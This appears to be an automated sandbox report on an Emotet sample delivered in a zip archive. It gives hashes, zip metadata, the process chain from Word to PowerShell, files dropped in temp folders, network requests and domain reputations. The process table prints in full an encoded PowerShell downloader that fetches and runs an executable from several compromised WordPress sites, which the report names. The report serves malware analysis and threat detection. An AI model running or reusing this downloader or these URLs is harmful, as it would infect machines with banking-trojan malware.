File name: | sample.zip |
Full analysis: | https://app.any.run/tasks/89f1c70c-ca9c-474a-a611-a9ee3502ceb7 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | September 18, 2019, 20:36:34 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 2A391690856B53011B04D82848C1D095 |
SHA1: | DBD1539433A731F63F8F7E749E367516521953E9 |
SHA256: | 04714AA5850559A1C830D6635C467A403071B0A09478EB4361021EFFFDC10298 |
SSDEEP: | 3072:62qkO2v9Ssz4gh4ZqdqFphtyfqwlJd80rbGNzM6:6HkXY06tsqwlZHgzM6 |
.zip | | | ZIP compressed archive (100) |
---|
ZipRequiredVersion: | 788 |
---|---|
ZipBitFlag: | 0x0001 |
ZipCompression: | Deflated |
ZipModifyDate: | 2019:09:18 20:35:19 |
ZipCRC: | 0x1f81a875 |
ZipCompressedSize: | 104944 |
ZipUncompressedSize: | 143551 |
ZipFileName: | 6b57a375546c48cb2ad0ffd9680b21d9732e9547eae4b677a5164354793a1530.bin |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2736 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\sample.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
2080 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\HiiiKeyhikey.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3256 | powershell -enco JABrAGoANgBJADIAdwBTAD0AJwBPAFoAMQBIAEoAWAAnADsAJABYAHMAMABRAFoAMABiAE8AIAA9ACAAJwAxADkAMAAnADsAJABwADcAaQBQAFcARQBBAD0AJwBVAHYANwBUAGYASwBjACcAOwAkAHcARQBtAFQAbgBLAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABYAHMAMABRAFoAMABiAE8AKwAnAC4AZQB4AGUAJwA7ACQAVAAyAE4AdwBBAHYAOAA9ACcAZgBsADEANQBOAGEAMwAnADsAJABkAFoAZABoAG8AWgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAQgBDAGwASQBlAE4AVAA7ACQAVgA5ADAAZABRAFgAPQAnAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQAtAHMAZQByAHYAaQBjAGUALgBvAHIAZwAvAHcAcAAtAGEAZABtAGkAbgAvADEAcwBnAHkAawBhAGcAMQA4AGYALQBjAHgAYQBqADQAZwAwADAALQAyADkAMAAwADkANAA3ADYAOAA3AC8AQABoAHQAdABwAHMAOgAvAC8AbgBnAG8AbQBhAHYAaQBiAGUALgBjAG8ALgBrAGUALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZwByAFkASQBkAGoASQBHAFAALwBAAGgAdAB0AHAAOgAvAC8AagBhAG4AbgBhAHQAawBoAGEAaAAuAGkAcgAvAHcAcAAtAGEAZABtAGkAbgAvADcAeQBqAGoAdgBmAHoALQB0AGkAZgB4AHoAeAAwAHEALQA5ADEANQA1ADAAOQAzADAAOQAvAEAAaAB0AHQAcABzADoALwAvAGEAbABjAGEAaQBkAG8ALgBjAG8AbQAvADcAZAAyAGQAZQBtAC8ANABhADkALQBhAGIANQA3AGsALQAzADQAOAA4ADAANgAyADkANQA0AC8AQABoAHQAdABwADoALwAvADcAZABvAHQALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA1AHoAZgB6ADcALQBnAGEAMQByADgAZgBnAC0AMAA2ADUANwAvACcALgAiAHMAcABgAGwASQBUACIAKAAnAEAAJwApADsAJAB3AGIATgAxAEgAUwBaAD0AJwBQADAANgBxAHEAYQAnADsAZgBvAHIAZQBhAGMAaAAoACQAdQB1AHUAYwA3AGEAIABpAG4AIAAkAFYAOQAwAGQAUQBYACkAewB0AHIAeQB7ACQAZABaAGQAaABvAFoALgAiAGQAbwBgAHcAbgBgAEwATwBgAEEARABmAGkAbABFACIAKAAkAHUAdQB1AGMANwBhACwAIAAkAHcARQBtAFQAbgBLACkAOwAkAGsAVwBfADYAegBUAEIAawA9ACcAZABmAGgAZgBiAEQAdwBqACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAdwBFAG0AVABuAEsAKQAuACIAbABgAGUATgBHAFQAaAAiACAALQBnAGUAIAAyADUANQAxADUAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGEAYABSAHQAIgAoACQAdwBFAG0AVABuAEsAKQA7ACQAbQA3AFoARwBvAHAAVwA9ACcAdwBaAF8AWgB0AGYAYwBjACcAOwBiAHIAZQBhAGsAOwAkAEoAUABzAFQAMQBaAD0AJwBjADMANABKAEoAbgBRADkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAcQBKAHAAcQBBAGQARAA9ACcARwB6ADcAbQBWAFgASQAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR2933.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5815C762.wmf | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\65913DC0.wmf | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\12C29CE.wmf | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4C57070C.wmf | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4AB55CFA.wmf | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4BED9F18.wmf | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7A640CE6.wmf | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3D1891E4.wmf | — | |
MD5:— | SHA256:— | |||
2080 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8F9FA592.wmf | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3256 | powershell.exe | GET | — | 171.22.26.110:80 | http://jannatkhah.ir/wp-admin/7yjjvfz-tifxzx0q-915509309/ | GB | — | — | suspicious |
3256 | powershell.exe | GET | 404 | 171.22.26.10:80 | http://easy-service.org/wp-admin/1sgykag18f-cxaj4g00-2900947687/ | GB | html | 1.12 Kb | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3256 | powershell.exe | 171.22.26.10:80 | easy-service.org | — | GB | suspicious |
3256 | powershell.exe | 171.22.26.110:80 | jannatkhah.ir | — | GB | suspicious |
Domain | IP | Reputation |
---|---|---|
easy-service.org |
| suspicious |
ngomavibe.co.ke |
| malicious |
jannatkhah.ir |
| suspicious |